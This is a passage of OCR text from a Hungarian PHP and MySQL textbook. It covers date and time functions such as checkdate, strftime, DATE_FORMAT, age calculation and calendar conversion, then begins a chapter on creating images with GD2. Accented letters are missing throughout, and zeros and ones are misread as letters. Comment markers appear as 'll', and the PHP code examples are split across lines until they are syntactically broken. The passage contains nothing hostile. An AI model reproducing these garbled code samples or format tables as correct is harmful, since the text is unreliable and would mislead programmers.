az albbi kimenethez hasonlt fog eredmnyezni:


Array (
[seconds]

=> 45

[minutes]

=> 6

[hours]
[mday]
[wday]
[mon]

=> 20
=> 14
=> 3

=> 3

[year]

=> 2007

[yday]

=> 72

[weekday]
[month]
[0]

=> Wednesday

=> March

=> 1173917205

Dtumokellenrzse a checkdate ( ) fiiggvnnyel


A checkdate () fggvnnyel a dtumok rvnyessgt ellenrizhetjk. Ez a lehetsg akkor lesz igazn hasznos szmunkra,
arnikor a felhasznlk ltal megadort dtumok megfelelsgrl kell meggyzdnnk. A checkdate () fggvny prototpusa
a kvetkez:
int checkdate (int honap,

A fggvny ellenrzi, hogy

az ev

int nap,

int ev)

O s 32,767 kztti, rvnyes egsz szm, a honap l s 12 kztti egsz szm, illerve

a nap ltezik-e az adott hnapban. A fggvny a szkveket is figyelembe veszi az rvnyessg megllaptshoz.
Pldul a
checkdate(2,

29,

2008)

fggvny visszatrsi rtke true, viszont a


checkdate(2,

29,

2007)

fggvny false lesz (rnivel2007 nem szkv, gy nem volt benne februr 29.).

Idblyegekformzsa
Az strftime ( ) fggvnnyel a rendszer (a webszerver) helyi belltsainak megfelelen formzhatjuk

az idblyegeket.

A fggvny prototpusa a kvetkez:


string strftime ( string $formatum

[,

int $idbelyeg]

A $formatum paramter az idblyeg megjelenst meghatroz formtumkd. Az $idobe ly eg paramter rtelemsze


ren a fggvnynek tadon idblyeg. Ez a paramter opcionlis, gy amennyiben egyltaln nem adunk idblyeget, a fgg
vny a helyi rendszer idblyegt (annak a kd futsa idejn rvnyes rtkr) fogja hasznlni. A kvetkez kd pldul

Dtum s id kezelse

325

<?php
echo

strftime('%A<br

/>');

echo

strftime('%x<br

/>');

echo

strftime('%c<br

/>');

echo

strftime('%Y<br

/>');

?>

ngy klnbz formtumban jelenti meg a rendszer adott pillanatban vett idblyegt. A kd a kvetkezhz hasonl kime
netet eredmnyez:
Tuesday
03/16/10
03/16/10 21:17:24
2010
Az strftime () formtumkdjainak teljes listja a 21.3 tblzatban tallhat.
21.3 tblzat: A strftime
Kd

Lers

%a

A ht napja(rvidtve)
A ht napja

%A
%b

21

(>fggvnyformtumkdjai

vagy %h

Hnap(rvidtve)
Hnap

%B
%c

Dtum s id szabvnyos formtumban

%C

Szzad

%d

A hnap napja(Ol-tl 31-ig)

%D

A dtum rvidtett formtumban(hh/ nn/ )

%e

A hnap napja ktkarakteres sztringknt( ' l ' -tl ' 31 ' -ig)

%g

Az v a ht sorszma alapjn, kt szmjeggyel

%G

Az v a ht sorszma alapjn, ngy szmjeggyel

%H

ra(0 0-tl 23-ig)

%I

ra(l-tl 12-ig)

%j

Az v napja(00 l-tl 3 6 6-ig)

%m

Hnap(Ol-tl l2-ig)

%M

Percek(OO-tl 5 9 -ig)

%n

j sor (\n)

%p

am vagy pm (vagy helyi megfelelje)

%r

Az id a.m./ p.m. jellssei

%R

Az id 24 rs formtumban

%S

Msodpercek (0 0-tl 59-ig)

%t

Tabultor(\ t)

%T

Az id : pp : mm formtumban

%u

A ht napja(l-tl 7 -ig, htftl vasrnapig)

%U

A ht sorszma(az v els vasrnapja az els ht kezdnapja)

%V

A ht sorszma(az v els hete

%w

A ht napja(O-tl 6-ig, vasrnaptl szombatig)

%W

A ht sorszma(az v els htfje

%x

Dtum szabvnyos formtumban(id nlkl)

%X

Id szabvnyos formtumban(dtum nlkl)

%y

v(kt szmjeggyel)
v(ngy szmjeggyel)

%Y
%z

vagy %Z

Idzna

az

a ht, amelyben legalbb ngy nap mr az adott vbe esik)

az

els ht kezdnapja)

326

21. fejezet

A 21.3 tblzatban emltett szabvnyos formtum azt jelenti, hogy a formtumkd helyt a webszerver helyi bellrsainak
megfelel rtk veszi t. Az strftime () fggvny kivlan alkalmas arra, hogy a dtumot s az idt az oldalainkat felhaszn
lbartt tev formtumokban jelentsk meg.

Vlts PHP s

21

MySQL dtumformtumok kztt

A MySQL az ISO 8601-es szabvnynak megfelel formtumban kezeli a dtumot s idt. Az id kezelse viszonylag egyr
telm, azonban az emltett szabvnynak megfelel dtumokban az v kerl elre. (Neknk, magyaroknak ez termszetes, an
golszsz terleren lknek azonban szokaclan.) Pldul a 2008. mrcius 29-t (ami angolul March 29, 2008) 2008-03-29 vagy
08-03-29 formban kell rni. Alaprtelmezsben a MySQL-bl kinyert dtumok is ebben a formban rhetk el.
Oldalunk vagy alkalmazsunk clkznsgrl fggen elkpzelhet, hogy ez nem lesz megfelel szmunkra. A PHP s
a MySQL kztti kommunikci rdekben ltalban valamilyen mdon t kell alakitani a dtumot. Ezt a feladatot mindkt
alkalmazsban elvgezhetjk. Amikor PHP-bl visznk MySQL-be dtumokat, a korbban mr ltott da te () fggvnnyel
egyszeren a megfelel formtumra alakithatjuk azokat. Egy apr figyelmeztets: amikor sajt kdunkbl lltjuk el a dtu
mot, a MySQL sszezavarst elkerlend a napot s a hnapot helykirlt nullkkal kell trolni. Hasznlhatunk kt szm
jeggye! jellt vet, de rdemes inkbb mind a ngy szmjegyet kirni. Amennyiben MySQL-ben kivnjuk talakitani a dtumot
vagy idt, kt hasznos fggvny ll ehhez rendelkezsnkre: a DATE_ FORMA T () s a UNIX_ TIMESTAMP ().
A DATE_ FORMAT () fggvny a PHP-beli fggvnyhez hasonlan mkdik, m ms formtumkdokat hasznl. Az egyik
leggyakoribb feladat, amit e fggvnnyel vgre fogunk hajtani, a MySQL ltal hasznlt ISO formtum dtumnak (
HH -NN) az angolszsz terleten elterjedt formtumra (HH-NN-) alakitsa. Az albbi lekrdezssei tehetjk meg ezt:
SELECT

DATE

FORMAT(datum_oszlop,

'%m %d %Y')

FROM tablanev;

A %m formtumkd kt szmjeggyel rja a hnapot, a %d ugyanezt teszi a nappal, az %Y pedig ngy szmjeggyel jelenti meg
az vet. A 21.4 tblzatban a gyakrabban hasznlt MySQL formtumkdokat lthatjuk.
21.4 tblzat: A MySQL DATE_ FORMAT () fggvnynek formtumkdjai
Kd

Lers

%M

Hnap teljes szveggel

%W

A ht napja teljes szveggel

%D

A hnap napja szmmal, sorszmraggal (angol nyelvnek megfelelen, pldul 1st)

%Y

v szmmal, ngy szmjeggyel

%y

v szmmal, kt szmjeggyel

%a

A ht napja hrom karakterrel

%d

A hnap napja szmmal, helykirlt nullkkal

%e

A hnap napja szmmal, helykitlt nullk nlkl

%m

Hnap szmmal, helykitlt nullkkal

%c

Hnap szmmal, helykitlt nullk nlkl

%b

Hnap szveggel, hrom karakter

%j

Az v napja szmmal

%H

ra, 24 rs formtum, helykitlt nullkkal


ra, 24 rs formtum, helykirlt nullk nlkl

%k
%h

vagy %I

ra, 12 rs formtum, helykitlt nullkkal

%1

ra, 12 rs formtum, helykirlt nullk nlkl

%i

Perc szmmal, helykitlt nullkkal

%r

Id, 12 rs formtum (:pp:mm [AMjPM])


Id, 24 rs formtum (:pp:mm)

%T
%S

vagy %s

Msodperc szmmal, helykitlt nullkkal

%p

AM vagy PM

%w

A ht napja szmmal, O-tl (vasrnap) 6-ig (szombat)

Dtum s id kezelse

327

A UNIX_TIMESTAMP fggvny hasonlan mkdik, m Unix idblyegg alaka a neki radort oszlopot. Az albbi lekrdezs
SELECT

UNIX_TIMESTAMP(datum_oszlop)

FROM tablanev;

pldul Unix idblyegknt formzva adja vissza a dtumot. Ezt kveten azt tehetnk vele PHP-ben, amit csak szeretnnk.
A Unix idblyeg lehetv teszi, hogy egyszeren szmoljunk a dtumokkal, vagy sszehasonltsuk ket. Ne feledjk azon
ban, hogy az idblyeg ltalban csak 1902 s 203 8 kztti dtumokat jelkpezhet, a MySQL adattpusa viszont sokkal szle
sebb tartomnnyal rendelkezik!
ltalnossgban az albbi szablyt kell kvetni: a Unix idblyeggel dtumokkal kapcsolatos szmtsokat vgezznk,
a szabvnyos dtumformtumot pedig dtumok trolsra s megjelentsre hasznljuk!

Szmols dtumokkal PHPben


gy lehet PHP-ben egyszeren kiszmtani kt tetszleges dtum kzrti idtartamot, ha a Unix idblyegek kztti klnb
sggel szmolunk. Ezt a mdszert kvetjk a 21.1 pldakdban is.

21

21.1 pldakd: eletkor _kis z amitas. php-letkor kisz<imt<isa szletsi d<itum alapj<in
<?php

ll szletsnap meghatrozsa
$nap =

18;

$honap =
$ev

9;

1972;

ll ne feledjk,
$sznapunix

hogy a szletsnapot nap,

mktime

$mostunix = time();

(0,

O,

echo

- $sznapunix;

floor($eletkorunix

"Az letkor:

$honap,

hnap s v

$nap,

$ev);

formban

kell megadni'

ll sznap idblyege

ll a mai nap idblyege

$eletkorunix = $mostunix
$eletkor

O,

ll klnbsg kiszmtsa

(365 * 24

* 60 * 60)); ll msodperc vekk alaktsa

$eletkor";

?>

A kd belltja az letkor kiszmtshoz hasznland szletsnapot. Valdi alkalmazs esetn ez az adat mnden bizonnyal
HTML rlapbl rkezne. A kd a mktime () fggvny meghvsval indul, hogy kiszmoljuk a szletsnaphoz s az aktulis
dtumhoz tartoz idblyeget:
$sznapunix

mktime

$mostunix = time();

(0,

O,

O,

$honap,

$nap,

$ev);

ll sznap idblyege

ll a mai nap idblyege

Miutn a kt dtumot ugyanazon formtumra hoztuk, egyszeren kivonhatjuk ket egymsbl:


$eletkorunix

$mostunix

$sznapunix;

Most jn a kiss trkks rsz: ennek az idtartamnak a visszaalaktsa az emberek ltal jobban kezelbec mrtkegysgre.
Ez irt most nem idblyeg. hanem az adott szemly msodpercekben mrt letkora. gy alakthauk vissza vekre, ha eloszt
juk az egy vben lv msodpercek szmval. Az gy kapott szmot a floor () fggvnnyel lefele kerekk, mert egy ember
csak akkor lesz pldul 20 ves, amikor betlti a 20. letvt:
$eletkor

floor($eletkorunix

(365 * 24 * 60 * 60)); ll msodperc vekk alaktsa

Jegyezzk meg. hogy ez a megolds nem teljesen tkletes, mert a Unix idblyegek (ltalban 32 bites egsz szmok) tar
tomnya korltozza a mkdst. A szletsnapokkal val szmols nem a legjobb plda az idblyegek hasznlatra. A plda
csak az 1970 utn szletertek esetben mkdik nnden opercis rendszeren, hiszen pldul a Windows nem kpes kezelni
az

1970 eltti idblyegeket. Mg az ezt kveten szletett emberek esetn sem lesz felttlenl pontos a szmts, mert a kd

nem veszi figyelembe a szkveket, illetve akkor is tvedhet, ha a helyi idznban jflkor trtnik a nyri s tli idszmts
kzrti vlts.

328

21. fejezet

Szmols dtumokkal MySQLben


A PHP nem tl sok beptett dtumkezel fggvnnyel rendelkezik. Termszetesen megrhatjuk sajt fggvnyeinket, de nem
egyszer feladat a szkvek s a nyri idszmts pontos figyelembe vtele. Arra is lehetsgnk van, hogy msok ltal rt
fggvnyeket tltsnk le. A PHP online kziknyvben szmtalan, a felhasznlk ltal hozzadott megjegyzst tallunk, de
ezek kzl kevs megfelelen vgiggondolt.

Megjegyzs: A PHP 5.3-as verzijhoz tbb olyanfggvnyt hozzadtak, amely a dtumokkal val szmolst knnyti meg.
flyen egyebek kztt a date_add(), a date_sub() s a date_diff(). Ezek a dtumkezel fggvnyekfeleslegess te
szik a MySQL hasznlatt a korbban PHP-ben elrhetetlen dtumkezelsi feladatok egyszer vgrehajtshoz.

Egy tovbbi, elsre taln nem nyilvnval lehetsg a MySQL hasznlata. A MySQL a Unix idblyegek megbzhat tarto
mnyn kivli dtumok esetn is kivlan hasznlhat dtumkezel fggvnyek szles vlasztkt knlja. MySQL lekrdezs
limatshoz MySQL kiszolglhoz kell csatlakozni, de nem szksges adatbzisadatokat hasznlnunk ehhez a feladathoz.
A kvetkez lekrdezs egy napot ad az 1700. februr 28-ai dtumhoz, s az gy kapott dtumot adja vissza:

21

select adddate (1700-02-28',

interval l

day)

Az 1700. v nem szkv, gy az eredmny 1700-03-01 lesz.


A MySQL kziknyvben rfog lerst tallunk a dtum s id MySQL-beli kezelsrl s mdostsrl (http://www.
mysql.com/doc/en/Date_and_time_functions.hrml).
Sajnos itt sincsen egyszer mdszer a kt dtum kztti vek szmnak megllaptsra, gy a szletsnapos plda MySQL
ben is sntt egy kicsit. A napokban kifejezett letkort knnyedn kiszmthatjuk ugyan, m esetenknt a 21.2 pldakd is
pontatlanul alaktja t vekre ezt az letkort.
21.2 pldakd: mysql_eletkor_kiszamitas. php -letkor kiszmtsa szletsi dtum alapjn MySQL-lel
<?php

ll szletsnap meghatrozsa
$nap

$honap
$ev

18;
=

9;

1972;

ll szletsnap alaktsa ISO 8601 szerinti dtumm


$sznapiSO

date("c",

mktime (0,

O,

O,

$honap,

$nap,

$ev));

ll a napokban kifejezett letkor kiszmtsa mysql lekrdezssei


$adatbazis
$eredmeny
$eletkor

mysqli_connect( 'localhost',
mysqli_query($adatbazis,

'felhasznala',

'jelszo') ;

"select datediff(now(),

'$sznapiSO') ") ;

mysqli_fetch_array($eredmeny);

ll a napokban kifejezett letkor alaktsa vekre (krlbell)


echo "Az letkor " .floor($eletkor[0]/365 .25);
?>

A szletsnap ISO idblyegg formzsa utn a kvetkez lekrdezst adjuk t a MySQL-nek:


select datediff(now(),

'1972-09-18T00:00:00+10:00')

A now()MySQL fggvny minden esetben az aznapi dtumot s pontos idt a<lja vissza. A MySQL 4.1.1 verzijtl elr
het datediff () fggvny a kt dtum kztti, napokban kifejezett klnbsget adja vissza.
rdemes megjegyezni, hogy a kdban nem jelljk ki valamely tbla adatait, st, mg a kd ltal hasznland adatbzist sem
vlasztjuk ki, de a szmtsokhoz rvnyes felhasznli nvvel s jelszval be kell jelentkeznnk a MySQL kiszolglra.
Mivel kifejezetten a pldban ltott szmrsra nem ltezik beptett fggvny, az vek pontos szmnak Iciszmolsra egy
viszonylag sszetett SQL lekrdezst kell hasznlnunk. A pldban kiss leegyszerstettk a dolgokat, mert a napokban kife
jezett letkort 365,25-tel osztva szmoltuk ki az veket. Ha az adott szemly szletsnapjn hasznljuk ezt a szmtst, akkor
akr egy vet is tvedhetnk attl fggen, hogy hny szkvet lt mr meg a delikvens.

Dtum s id kezelse

329

Mikroszekundumok hasznlata
Egyes alkalmazsokhoz nem elegenden pontos az id msodpercekben val mrse. Ha nagyon rvid idszakokat, pldul
a PHP kdunk egy rsznek vagy egsznek futtatshoz szksges idtartamor kvnjuk mrni, amicrotime () fiiggvnyt
kell hasznlnunk.
A PHP 5-s verzijban a true rtket t kell adnunk amicrotime () fiiggvnynek. Amikor ezt az opcionlis param
tert tadjuk, amicrotime () lebegpontos rtkknt adja vissza az idt, ami kszen ll arra, hogy a neknk tetsz clra fel
hasznljuk. Az rtk megegyezik a mkt ime() , t ime () s dat e () fiiggvny ltal visszaadottal, de trtrsze is van.
Az

echo number_format(microtime(true), 10, '. ',

'');

utasts a kvetkezhz hasonl lmenetet produkl: ll 7 4 O 91854 . 84.


A rgebbi verzikban nem krhettk az eredmnyt lebegpontos szmknt, a fiiggvny minden esetben szeringknt
adta vissza. Amicrotime () paramter nlkli meghvsa esetn a kvetkezhz hasonl karakterlncot kapunk vissza:

"0. 34 380900 ll 7 4 091816". Az els szm a trtrsz, a msodik szm pedig az 1970.janur l. ta eltelt id msodpercben
kifejezve.
Mivel a szmokat knnyebb kezelni, mint a karakterlncokat, a P H P 5-s verzijtl kezdve rdemes amicrotime ()
fliggvnyt a true paramterrel meghvni.

Naptrfggvnyek hasznlata
A PHP szmos fiiggvnnyel segti a klnbz naptrrendszerek kztti tvltst. A fbb naptrak, amelyekkel dolgozni fo
gunk, a Gergely- s a Julin-naptr, illetve aJulin-napszmll.
A legtbb nyugati orszg jelenleg a Gergely-naptrat hasznlja. A Gergely-naptr szerinti 1582. oktber 15. megegyezik
aJulin-naptr szerinti 1582. oktber 5-vel. Ezen idpont eltt aJulin-naptr volt a szles krben hasznlt naptrrendszer.
A klnbz orszgok eltr idpontban vltottak a Gergely-naptrra, egyes orszgok (pldul Oroszorszg) csak a 20. szzad
elejn tettk meg ezt.
E kt naptrrendszert sokan ismerik, de nem biztos, hogy aJulin-napszmllrl (Julian Day Count-JD) is hallottunk
mr. Ez utbbi sok szempontbl a Unix idblyeghez hasonl. Egy idszmtsunk eltt 4000 krli dtumtl szmolja az
eltelt napokat. nmagban nem klnsebben hasznos, rtelmet akkor nyer, amikor a naptrrendszerek kztt vltjuk t a d
tumokat. Ilyen tvltskor elszr aJulin-napszmllra vltunk, s majd onnan a kvnt naptrra.
Unix alatti hasznlarukhoz elszr az --enable-calendar belltssal be kell fordtanunk PHP-be a calendar kiter
jesztst. Az ltalnos Windows-teleptsbe be vannak ptve ezek a fiiggvnyek.
Hogy rrezznk mkdskre, nzzk meg a Gergely-naptrrlJulin-naptrra vltshoz szksges fiiggvnyek prototpu
st:
int gregoriantojd(int honap,

int nap,

int ev)

string jdtojulian(int julian_nap)

Egy dtum talaktshoz mindkt fiiggvnyt meg kell hvnunk:

$jd

gregoriantojd

(9, 18, 1582);

echo jdtojulian($jd);
Ez a fiiggvnyhvs HH/NN/ formtumban rja ki aJulin-naptr szerinti dtumot.
Ezeknek a fiiggvnyeknek a klnbz v ltozataival vltharunk a Gergely-, aJulin-, a francia s a zsid naptr, illetve
a

Unix idblyegek kztt.

Tovbbi olvasnival
Ha szeretnnk a PHP s a MySQL dtum- s idfiiggvnyeirl tbbet megrudni, olvassuk el a kziknyvek idevg rszeit
a http://php.net/manual/en/ref.datetime.php, illetve a http:/ l dev.mysql.com/doc/re&nan/5.0/en/date-and-timefunctions.htrnl
cmen!
Ha naptrrendszerek kztt kell dtumokat tvltanunk, olvassunk bele a PHP kziknyv naptrkezel fiiggvnyeket ler
oldalaiba (http://php.net/manual/en/ref.calendar.php)!

Hogyan tovbb:
A PHP egyik egyedlll s igen hasznos funkcija a kpek menet kzbeni ltrehozsnak lehetsge. A Kpek ellltsa cm

22. fejezetbl kiderl, hogyan tudunk

az

image knyvtr fiiggvnyeivel rdekes s hasznos kpi hatsokat elrni.

21

22
Kpek ellltsa
A PHP egyik igen hasznos funkcija a kpek programbl val ltrehozsnak lehetsge. A nyelv szmos olyan fggvnnyel
rendelkezik, amely kpekrl szelgltat informcikat,a GD2 knyvtrat pedig j kpek ltrehozsra,illetve meglvk keze
lsre hasznlhatjuk. A fejezetbl kiderl, hogyan rhetnk el rdekes s hasznos kpi hatsokat ezen kpkezel fggvnyek
segtsgve!.
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
Kpi tmogats belltsa a PHP-ben
Kpformromok
Kpek ltrehozsa
Automatikusan ltrehozott kpek hasznlata ms oldalakon
Szveg s betk hasznlatval ltrehozott kpek
brk s grafikonadatok rajzolsa
Munknk sorn kt pldt nznk meg rszletesebben: az egyik sorn programbl hozzuk ltre egy weboldal gombjait,
a msikban pedig MySQL adatbzisbl szrmaz adatokbl ksztnk oszlopdiagramot.
A pldkhoz a GD2 knyvtrat fogjuk hasznlni, m nem ez az egy npszer, a kpekkel val munkt lehetv tev PHP
knyvtr ltezik. Az ImageMagick knyvtr nem rsze ugyan az ltalnos PHP-teleptsnek, de a PHP Extension Class
Library (PECL) bvtmnyekbl egyszeren telepthet. Az ImageMagick s a GD2 szmos igen hasonl funkcival rendel
kezik, m egyes terleteken az elbbi tbbre kpes. Ha GIF kpeket (vagy akr animlt GIF kpeket) szeretnnk ltrehozni,
az

ImageMagick knyvtrra lesz szksgnk. Amennyiben valdi sznezer (true color md) kpekkel vagy cltszsgi hat

sokkal kivnunk dolgozni, rdemes sszehasonltani a kt knyvtr ltal knlt lehetsgeket.


Az ImageMagick letltshez keressk fel a PECL oldalt: http:/ /pecl.php.net/package/imagick.
Ha szeretnnk kpet kapni az ImageMagick ltal knlt lehetsgek trhzrl, vagy tanulmnyoznnk dokumentcijt,
ltogassunk el a http:/ /www.imagemagick.org oldalra!

Kpi tmogats belltsa PHP,ben


A PHP egyes kpkezel fggvnyeit brmikor elrhetjk, a tbbsgk hasznlata azonban a GD2 knyvtr megltt ignyli.
A knyvtrrl a http:/ /www.libgd.org/Main_Page oldalon tallunk rszletes informcit.
A PHP 4.3-as verzija ta elrhet a GD2 knyvtr sajt, a PHP csapata ltal tmogatott vltozata. Mivel ez knnyebben
telepthet a PHP-vel, s jellemzen stabilabb is, ajnlott ezt hasznlni. Windows alatt a PNG sJPEG kpek automatikusan
tmogatottak, amennyiben bekapcsoltuk a php_gd2.dll bvtmnye. Ehhez nem kell ms tenni, mint a PHP teleptsi knyv
trnak \ext alknyvtrbl a rendszermappba (Windows XP esetn a C:\Windows\system knyvtrba) msolni a php_gd2.
dll fjlt. Ezen kivl a php.ini fjl kvetkez sornak elejrl el kell tvoltani a pontosvesszt (;),hogy immr ne megjegyzs
legyen:
extension=php_gd2.dll

Ha Unixot hasznlva szetetnnk PNG kpekkel dolgozni, teleptennk kell a http://www.libpng.org/pub/png/ oldalrl
elrhet libpng, illetve a http://www.gzip.org/zlib/ oldalrl elrhet

l ib knyvtrat.

Ezt kveten a kvetkez belltsokkal kell kenfigurlnunk a PHP-t:


--with-png-dir=/path/to/libpng
--with-zlib-dir=/path/to/zlib

Ha Unixon szeremnkJPEG kpekkel dolgozni, le kell tlteni a jpeg-6b csomagot, s bekapcsoltJPEG-tmogatssal


jra kell forditani a GD-t. A csomagot az ftp:/ /ftp.uu.net/graphics/jpeg/ oldalrl tlthetjk le.
Majd a kvetkez belltssal jra kell konfigurlni s jra kell fordtani a PHP-t:
--with-jpeg-dir=/path/to/jpeg-6b

332

22. fejezet

Ha szeretnnk kpeinken TrueType bettpusokat hasznlni, a FreeType knyvtrra is szksgnk lesz. A 4-es verzi ta
ez is elrhet a PHP-ben, de ha kell, a http://www.freetype.org/ oldalrl letlthet.
Ha inkbb PostScript Type l bettpusokkal kvnunk dolgozni, az frp://sunsite.unc.edu/pub/Linux/libs/graphics/ oldal
rl letlthet tllib knyvtrra lesz szksgnk.
Ezt kveten a
--with-tllib[=path/to/tllib]

belltssal kellfuttatni a PHP konfigurl programjt. Vgl termszetesen a --wi th-gd hasznlatval kell konfigurlni
a PHP-t.

Kpformtum ok
A GD knyvtr a JPEG, a PNG s a WBMP formtumot tmogatja, a GIF kpeket mr nem. Nzzk t rviden ezen form

turnak legfontosabb jellemzit!

JPEG
A JPEG a joint Photographic Experts Group rvidtse, ami igazbl nem egy adott formtum, hanem egy kptmrtsi szab

vnyt kidolgoz munkacsoport neve. A JPEG-nek nevezett fjlformtum hivatalos neve JFIE s ez nem ms, rnint a JPEG
csoport ltal ltrehozott egyik szabvny.
A JPEG fjlokat elssorban klnbz szneket s szntmeneteket tartalmaz fnykpek vagy egyb kpek trolsra hasz

22

nljuk. A formtum vesztesges tmrtse hasznl, vagyis a kprninsg valamilyen mrtk romlsval tmriti a fnykpet
kisebb fjlba. Mivel a JPEG fjlok ltal crolt kpek lnyegben szntmeneteket tartalmaz analg kpek, az emberi szem bi
zonyos mrtk minsgromlst tolerlni kpes (rnivel egyszeren nem veszi szre). A formtum nem megfelel vektorgrafikus
brkhoz, szveghez s teli sznnel kitlttt felletekhez.
A JPEG/JFIF formtumrl a JPEG hivatalos oldaln bvebben is olvashatunk (http://wwwJpeg.org/).

PNG
A PNG a Portab/e Network Graphics rvidtse. Ez a fjlformtum a GIF (Graphics Interchange Format) helyt vette t (rvi

desen ltni fogjuk, rnirt). A PNG w eboldala gy r rla:.bivalyers kpformtum vesztesgmentes tmrtssel:' Vesztesg
mentessgnek ksznhecen a kpformtum olyan kpekhez is kivlan hasznlhat, amelyek szveget, egyenes vonalakat s
teli sznnel tlttt formkat tartalmaznak- pldul fejlcekhez vagy w eboldalak gombjaihoz. A PNG kpek ltalnossgban
ugyanarra a clra hasznlhatk, mint korbban a GIF-ek. Egy adott kp PNG-vel tmrtett vltozata jellemzen hasonl
mret, rnint a GIF-fel tmrtett trsa. A PNG tmogatja a fokozatos tltszsgot, a gammakorrekcit s a ktdimenzis
vltott soros megjelenitst. Nem tmogatja viszont az animcikat, ezrt ilyen clra a jelenleg is fejleszts alatt ll MNG for
mtumot kell hasznlni.
A veszcesgmentes trndtsi eljrsok rajzokhoz s brkhoz megfelelnek ugyan, nagy fnykpek trolsra viszont kevsb

alkalmasak, mert jellemzen nagy fjimretet eredmnyeznek.


A PNG-rl a hivatalos PNG-honlapon (http://www.libpng.org/pub/png/) rszletesebben olvashatunk.

WBMP
A WBMP, amely a Wireless Bitmap rvidtse, kifejezetten vezetk nlkli eszkzk szmra kialaktott fjlformtum. Egyelre

nem klnsebben szles krben terjedt el.

GIF
A GIF a Graphics Interchange Forrnat rvidtse. Tmrtett, vesztesgmentes formtum, amit szles krben hasznlnak az

interneten szveget, egyenes vonalakat vagy teli sznnel kitlttt formkat tartalmaz kpek trolsra.
A GIF formtum a 24 bites RGB szntr 256 klnbz sznbl ll sznpalettt hasznl. Tmogatja az animcikat, s

lehetv teszi, hogy minden kpkockn ms s ms sznekbl lljon a 256 szn paletta. A hasznlhat sznek korltozott sz
ma rniatt a GIF formtum nem alkalmas sznes fnykpek s ms folytonos tnus kpek ellltsra, de tkletesen megfelel
olyan egyszerbb kpeknl, rnint a grafikk vagy a teli szn elemekbl ll logk.
A GIF fjlok LZW vesztesgmentes adattmrtse hasznlnak, amely a kprninsg romlsa nlkl cskkenti a fjlmrecec.

Kpek ellltsa

333

Kpek ltrehozsa
A kpek PHP-beli ltrehozsnak ngy lpse a kvetkez:
l.

Rajzvszon ltrehozsa a munkhoz.

2.

Alakzatok rajzolsa vagy szveg nyomtatsa a rajzvszonra.

3.

Kimenet ksztse a ksz grafikrl.

4.

Erforrsok felszabadtsa.

Nzznk pldt egy egyszer kpet ltrehoz kdra! A teljes kdot a 22.1 pldakd tartalmazza.
22.1 pldakd: egyszeru_abra. php-Egyszer vonalas bra rtkests Jelirattal
<?php
ll kp belltsa
$magassag

200;

$szelesseg = 200;
$kep = imagecreatetruecolor{$szelesseg,
$feher

255,

imagecolorallocate {$kep,

$kek = imagecolorallocate {$kep,

O,

O,

$magassag);

255,

255);

64);

ll rajzols a kpre
imagefill{$kep,

O,

imageline{$kep,

O,

O,

imagestring{$kep,

$kek);

O,
4,

$szelesseg,

50,

150,

$magassag,

$feher);

'rtkests',

$feher);

ll kimenet ltrehozsa
Header {'Content-type: imagelpng');
imagepng {$kep);

ll erforrsok felszabadtsa
imagedestroy{$kep);

?>
A kd futtatsnak eredmnye a 22.1 brn lthat.

22.1 bra: A kd kk htteret rajzol, majd egy vonalat s egy szveges cmkt ad a kphez.
Most pedg menjnk vgig egyenknt a kp ltrehozsnak lpsein!

Rajzvszon ltrehozsa
Hogy elkezdhessnk PHP-ben megalkotni vagy mdostani egy kpet, ltre kell hoznunk egy kpazonostt. Ennek kt alap
ver mdja van. Az egyik egy res rajzvszon ltrehozsa, amelyet az imagecreatetruecolor{) fggvny meghvsval
rhetnk el, ahogy tettk azt a fenti kdban is az albbi sorral:
$kep = imagecreatetruecolor{$szelesseg,

$magassag);

22

3 34

22. fejezet

Az ImageCreateTrueColor () fggvny kt paramtert vr. Az els az j kp szlessge, a msodik pedig a magassga.


A fggvny az j kp azonostjval tr vissza. Az ilyen azonostkat a fjlmutatkhoz hasonlan kell elkpzelnnk.
A msik mdszer meglv kpfjl beolvassa,amire aztn szrt alkalmazhatunk,tmrerezhetjk vagy kiegszthet
jk. A beolvasni kvnt fjl formtumtl fggen az imagecreatefrompng (),az imagecreatefromjpeg () vagy az
imagecreatefromgif () fggvnyt hasznlhatjuk erre a clra.

Mindhrom fggvny a fjl nevt vrja paramterknt, ahogy az albbi pldban is lthatjuk:
$kep = imagecreatefrompng('alap kep.png');

A fejezet egy ksbbi rszben arra is ltharunk pldt,hogyan hozharunk ltre gombokat meglv kpek felhasznlsval.

Rajzols vagy szveg rsa kpre


A kpre rajzols, illetve szveg kpre rsa egyarnt kr rszbl ll. Elszr is ki kell vlasztani a rajzolshoz hasznlni kvnt
sznt. Mint azzal bizonyra tisztban vagyunk,a szmrgp kijelzjn megjelen sznek klnbz mennyisg vrs, zld
s kk fnybl jnnek ltre. A kpformtumok e hrom szn sszes lehetsges kombincijnak meghatrozorr rszhalmazt
tartalmaz sznpalettkar hasznlnak. Ahhoz,hogy valamilyen sznnel rajzoihassunk egy kpre, hozz kell adni a sznt a kp
sznpalettjhoz. Brmilyen hasznlni kvnt szn, mg a fehr s a fekete esetben is gy kell tenni.
Az ImageColorAllocate () fggvny meghvsval vlaszthatjuk ki a kpnkhz hasznlni kvnt szneker. A fggvny
nek kpnk azonostjt,illetve a kvnt szn vrs,zld s kk (red, green,blue,azaz RGB) rtkeit kell tadni.
A 22.1 pldakd kr sznnel dolgozik: fehrrel s kkkeL Az albbi kt fggvny meghvsval vlasztjuk ki ket:
255,

$feher = imagecolorallocate ($kep,

22

$kek = imagecolorallocate ($kep,

O,

O,

255,

255);

64);

A fggvny sznazonosrval tr vissza, amellyel a ksbbiekben elrjk az adott sznt.


A rnyleges rajzolshoz klnbz fggvnyek kzl vlasztharunk attl fggen, hogy pontosan mit kvnunk rajzolni:
vonalakat,veket,sokszgeket vagy szveget.
A rajzolfggvnyek ltalban a kvetkez paramtereket vrjk:
A kp azonostja
A rajzolni kvnt objektum kezd- s esetenknt vgpontja (koordinrk)
A fesrszn
Szveg esetn a bettpusra vonatkoz informcik
Pldnkban hrom rajzolfggvnnyel dolgozunk,nzzk meg most ezeket egyenknt!
Elszr is az imagefill() fggvnnyel ltrehozzuk a kk htteret,amire a ksbbiekben rajzolharunk:
agefill($kep,

O,

0,

$kek);

A fggvny paramterknt a kpazonostt,a rajzolsi terlet kezdpontjt (x s y),illetve a festsznt vrja.

kp koordintit a bal fels sarokbl szmoijuk, ez az x=O, y=O pont. A kp jobb als sarka az
Szmtgpes grafikk esetben ez gy megszokott, viszont a matematikban
megszakottal ellenttes, ezrt gyeijnk a helyes hasznlatra!
Megjegyzs: A

x=$sze lesseg, y=$magassag.

Ezt kveten vonalat hzunk a kp bal fels sarkbl


imageline($kep,

O,

0,

